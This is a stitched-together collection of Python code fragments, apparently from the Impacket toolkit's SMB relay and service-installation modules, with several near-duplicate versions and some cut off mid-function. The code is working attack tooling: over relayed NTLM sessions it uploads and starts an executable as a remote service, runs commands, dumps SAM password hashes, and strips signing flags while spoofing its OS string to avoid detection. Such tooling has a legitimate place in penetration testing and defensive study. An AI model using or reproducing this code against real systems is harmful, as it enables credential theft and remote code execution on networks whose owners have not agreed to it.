class SMBAttack(Thread): def __init__(self, config, SMBClient, exeFile, command): Thread.__init__(self) self.daemon = True if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.config = config self.__exeFile = exeFile self.__command = command self.__answerTMP = '' if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.__command is not None: remoteOps._RemoteOperations__executeRemote(self.__command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
class doAttack(Thread): def __init__(self, SMBClient, exeFile, command): Thread.__init__(self) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.__exeFile = exeFile self.__command = command self.__answerTMP = '' if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.__command is not None: remoteOps._RemoteOperations__executeRemote(self.__command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) print self.__answerTMP self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
class ServiceInstall: def __init__(self, SMBObject, exeFile, serviceName=''): self._rpctransport = 0 self.__service_name = serviceName if len(serviceName) > 0 else ''.join( [random.choice(string.letters) for i in range(4)]) self.__binary_service_name = ''.join( [random.choice(string.letters) for i in range(8)]) + '.exe' self.__exeFile = exeFile # We might receive two different types of objects, always end up # with a SMBConnection one if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3): self.connection = SMBConnection(existingConnection=SMBObject) else: self.connection = SMBObject self.share = '' def getShare(self): return self.share def getShares(self): # Setup up a DCE SMBTransport with the connection already in place LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport( self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.connection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) raise def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name + '\x00') except Exception, e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else:
class ServiceInstall: def __init__(self, SMBObject, exeFile, serviceName=''): self._rpctransport = 0 self.__service_name = serviceName if len(serviceName) > 0 else ''.join([random.choice(string.letters) for i in range(4)]) self.__binary_service_name = ''.join([random.choice(string.letters) for i in range(8)]) + '.exe' self.__exeFile = exeFile # We might receive two different types of objects, always end up # with a SMBConnection one if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3): self.connection = SMBConnection(existingConnection = SMBObject) else: self.connection = SMBObject self.share = '' def getShare(self): return self.share def getShares(self): # Setup up a DCE SMBTransport with the connection already in place LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.connection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) raise def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00') except Exception, e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else:
class doAttack(Thread): def __init__(self, SMBClient, exeFile): Thread.__init__(self) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.__exeFile = exeFile if exeFile is not None: self.installService = serviceinstall.ServiceInstall( SMBClient, exeFile) def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from secretsdump import RemoteOperations, SAMHashes samHashes = None remoteOps = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags( ) flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() bootKey = remoteOps.getBootKey() samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote=True) samHashes.dump() logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
class doAttack(Thread): def __init__(self, SMBClient, exeFile): Thread.__init__(self) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.__exeFile = exeFile if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from secretsdump import RemoteOperations, SAMHashes samHashes = None remoteOps = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() bootKey = remoteOps.getBootKey() samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
def query_thread(param): host, args = param try: smbconn = SMBConnection(host, host) # throws socket.error if args.nthash: # throws impacket.smbconnection.SessionError smbconn.login(args.username, '', nthash=args.password, domain=args.domain) else: smbconn.login(args.username, args.password, domain=args.domain) resp = fNetrWkstaUserEnum( smbconn) # throws impacket.dcerpc.v5.rpcrt.DCERPCException except Exception as e: sys.stdout.write('ERROR {}: {}\n'.format(host, str(e))) # abort if domain login failed to prevent lockout if type(e) == impacket.smbconnection.SessionError: if e.getErrorCode( ) == STATUS_LOGON_FAILURE and args.domain != '.' and smbconn.getServerDomain( ) != '': raise RuntimeError( 'Aborting: domain creds are invalid, preventing lockout') return sessions = {} for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']: username = session['wkui1_username'][:-1] logon_domain = session['wkui1_logon_domain'][:-1] or '.' oth_domains = session['wkui1_oth_domains'][:-1] logon_server = session['wkui1_logon_server'][:-1] k = '{}\\{}'.format(logon_domain, username) sessions[k.lower()] = '{} ({}) [{}] {}\\{}\n'.format( smbconn.getServerName(), smbconn.getRemoteHost(), smbconn.getServerOS(), logon_domain, username) smbconn.logoff() sys.stdout.write(''.join(sessions.values()))
class doAttack(Thread): def __init__(self, SMBClient, exeFile): Thread.__init__(self) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.__exeFile = exeFile if exeFile is not None: self.installService = serviceinstall.ServiceInstall( SMBClient, exeFile) def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from secretsdump import RemoteOperations, SAMHashes samHashes = None remoteOps = None try: remoteOps = RemoteOperations(self.__SMBConnection) remoteOps.enableRegistry() bootKey = remoteOps.getBootKey() samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote=True) samHashes.dump() logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
class doAttack(Thread): def __init__(self, SMBClient, exeFile): Thread.__init__(self) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.__exeFile = exeFile if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from secretsdump import RemoteOperations, SAMHashes samHashes = None remoteOps = None try: remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() bootKey = remoteOps.getBootKey() samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
class ServiceInstall: def __init__(self, SMBObject, exeFile, serviceName=''): self._rpctransport = 0 self.__service_name = serviceName if len(serviceName) > 0 else ''.join( [random.choice(string.ascii_letters) for i in range(4)]) self.__binary_service_name = ''.join( [random.choice(string.ascii_letters) for i in range(8)]) + '.exe' self.__exeFile = exeFile # We might receive two different types of objects, always end up # with a SMBConnection one if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3): self.connection = SMBConnection(existingConnection=SMBObject) else: self.connection = SMBObject self.share = '' def getShare(self): return self.share def getShares(self): # Setup up a DCE SMBTransport with the connection already in place LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport( self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.connection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) raise def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name + '\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else: # It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle, self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical( "Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle'] def openSvcManager(self): LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) # Setup up a DCE SMBTransport with the connection already in place self._rpctransport = transport.SMBTransport( self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename=r'\svcctl', smb_connection=self.connection) self.rpcsvc = self._rpctransport.get_dce_rpc() self.rpcsvc.connect() self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) try: resp = scmr.hROpenSCManagerW(self.rpcsvc) except: LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost()) raise Exception('Unable to open SVCManager') else: return resp['lpScHandle'] def copy_file(self, src, tree, dst): LOG.info("Uploading file %s" % dst) if isinstance(src, str): # We have a filename fh = open(src, 'rb') else: # We have a class instance, it must have a read method fh = src f = dst pathname = f.replace('/', '\\') try: self.connection.putFile(tree, pathname, fh.read) except: LOG.critical("Error uploading file %s, aborting....." % dst) raise fh.close() def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one writeableShare = None for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i[ 'shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] tid = 0 try: tid = self.connection.connectTree(share) self.connection.openFile( tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) except: LOG.debug('Exception', exc_info=True) LOG.critical("share '%s' is not writable." % share) pass else: LOG.info('Found writable share %s' % share) writeableShare = str(share) break finally: if tid != 0: self.connection.disconnectTree(tid) return writeableShare def install(self): if self.connection.isGuestSession(): LOG.critical("Authenticated as Guest. Aborting") self.connection.logoff() del self.connection else: fileCopied = False serviceCreated = False # Do the stuff here try: # Let's get the shares shares = self.getShares() self.share = self.findWritableShare(shares) if self.share is None: return False self.copy_file(self.__exeFile, self.share, self.__binary_service_name) fileCopied = True svcManager = self.openSvcManager() if svcManager != 0: serverName = self.connection.getServerName() if self.share.lower() == 'admin$': path = '%systemroot%' else: if serverName != '': path = '\\\\%s\\%s' % (serverName, self.share) else: path = '\\\\127.0.0.1\\' + self.share service = self.createService(svcManager, self.share, path) serviceCreated = True if service != 0: # Start service LOG.info('Starting service %s.....' % self.__service_name) try: scmr.hRStartServiceW(self.rpcsvc, service) except: pass scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) return True except Exception as e: LOG.critical( "Error performing the installation, cleaning up: %s" % e) LOG.debug("Exception", exc_info=True) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass return False def uninstall(self): fileCopied = True serviceCreated = True # Do the stuff here try: # Let's get the shares svcManager = self.openSvcManager() if svcManager != 0: resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name + '\x00') service = resp['lpServiceHandle'] LOG.info('Stopping service %s.....' % self.__service_name) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass LOG.info('Removing service %s.....' % self.__service_name) scmr.hRDeleteService(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) LOG.info('Removing file %s.....' % self.__binary_service_name) self.connection.deleteFile(self.share, self.__binary_service_name) except Exception: LOG.critical("Error performing the uninstallation, cleaning up") try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass
class SMBRelayClient(ProtocolClient): PLUGIN_NAME = "SMB" def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ): ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.extendedSecurity = extendedSecurity self.domainIp = None self.machineAccount = None self.machineHashes = None self.sessionData = {} self.keepAliveHits = 1 def keepAlive(self): # SMB Keep Alive more or less every 5 minutes if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): # Time to send a packet # Just a tree connect / disconnect to avoid the session timeout tid = self.session.connectTree('IPC$') self.session.disconnectTree(tid) self.keepAliveHits = 1 else: self.keepAliveHits +=1 def killConnection(self): if self.session is not None: self.session.close() self.session = None def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True) #,preferredDialect=SMB_DIALECT) if self.serverConfig.smb2support is True: data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' else: data = '\x02NT LM 0.12\x00' if self.extendedSecurity is True: flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES else: flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES try: packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, flags2=flags2, data=data) except socketerror as e: if 'reset by peer' in str(e): if not self.serverConfig.smb2support: LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support') else: LOG.error('SMBCLient error: Connection was reset') else: LOG.error('SMBCLient error: %s' % str(e)) return False if packet[0:1] == b'\xfe': smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, existingConnection=smbClient, manualNegotiate=True) return True def setUid(self,uid): self._uid = uid def sendNegotiate(self, negotiateMessage): negotiate = NTLMAuthNegotiate() negotiate.fromString(negotiateMessage) #Remove the signing flag negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge return challenge def sendNegotiatev2(self, negotiateMessage): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 # Let's build a NegTokenInit with the NTLMSSP blob = SPNEGO_NegTokenInit() # NTLMSSP blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] blob['MechToken'] = negotiateMessage sessionSetup['SecurityBufferLength'] = len(blob) sessionSetup['Buffer'] = blob.getData() packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup packetID = v2client.sendSMB(packet) ans = v2client.recvSMB(packetID) if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): v2client._Session['SessionID'] = ans['SessionID'] sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer']) return respToken['ResponseToken'] return False def sendNegotiatev1(self, negotiateMessage): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE # Just in case, clear the Unicode Flag flags2 = v1client.get_flags ()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE)) sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Let's build a NegTokenInit with the NTLMSSP # TODO: In the future we should be able to choose different providers blob = SPNEGO_NegTokenInit() # NTLMSSP blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] blob['MechToken'] = negotiateMessage sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) sessionSetup['Parameters'].getData() sessionSetup['Data']['SecurityBlob'] = blob.getData() # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except Exception: LOG.error("SessionSetup Error!") raise else: # We will need to use this uid field for all future requests/responses v1client.set_uid(smb['Uid']) # Now we have to extract the blob to continue the auth process sessionResponse = SMBCommand(smb['Data'][0]) sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) return respToken['ResponseToken'] def sendStandardSecurityAuth(self, sessionSetupData): v1client = self.session.getSMBServer() flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) if sessionSetupData['Account'] != '': smb = NewSMBPacket() smb['Flags1'] = 8 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey'] sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd']) sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd']) sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] sessionSetup['Data']['Account'] = sessionSetupData['Account'] sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain'] sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except: return None, STATUS_LOGON_FAILURE else: v1client.set_uid(smb['Uid']) return smb, STATUS_SUCCESS else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials clientResponse = None errorCode = STATUS_ACCESS_DENIED return clientResponse, errorCode def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to wrap the NTLMSSP into SPNEGO respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = authenticateMessageBlob authData = respToken2.getData() else: authData = authenticateMessageBlob if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) return token, errorCode def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup # Reusing the previous structure sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob) sessionSetup['Buffer'] = authenticateMessageBlob packetID = v2client.sendSMB(packet) packet = v2client.recvSMB(packetID) return packet, packet['Status'] def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE smb['Uid'] = v1client.get_uid() sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob) sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() errorCode = smb['ErrorCode'] << 16 errorCode += smb['_reserved'] << 8 errorCode += smb['ErrorClass'] return smb, errorCode def getStandardSecurityChallenge(self): if self.session.getDialect() == SMB_DIALECT: return self.session.getSMBServer().get_encryption_key() else: return None def isAdmin(self): rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F) return "TRUE" except scmr.DCERPCException as e: pass return "FALSE"
class SMBRelayClient(ProtocolClient): PLUGIN_NAME = "SMB" def __init__(self, serverConfig, target, targetPort=445, extendedSecurity=True): ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.extendedSecurity = extendedSecurity self.domainIp = None self.machineAccount = None self.machineHashes = None self.sessionData = {} self.keepAliveHits = 1 def keepAlive(self): # SMB Keep Alive more or less every 5 minutes if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): # Time to send a packet # Just a tree connect / disconnect to avoid the session timeout tid = self.session.connectTree('IPC$') self.session.disconnectTree(tid) self.keepAliveHits = 1 else: self.keepAliveHits += 1 def killConnection(self): if self.session is not None: self.session.close() self.session = None def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, manualNegotiate=True) #,preferredDialect=SMB_DIALECT) if self.serverConfig.smb2support is True: data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' else: data = '\x02NT LM 0.12\x00' if self.extendedSecurity is True: flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES else: flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES try: packet = self.session.negotiateSessionWildcard( None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, 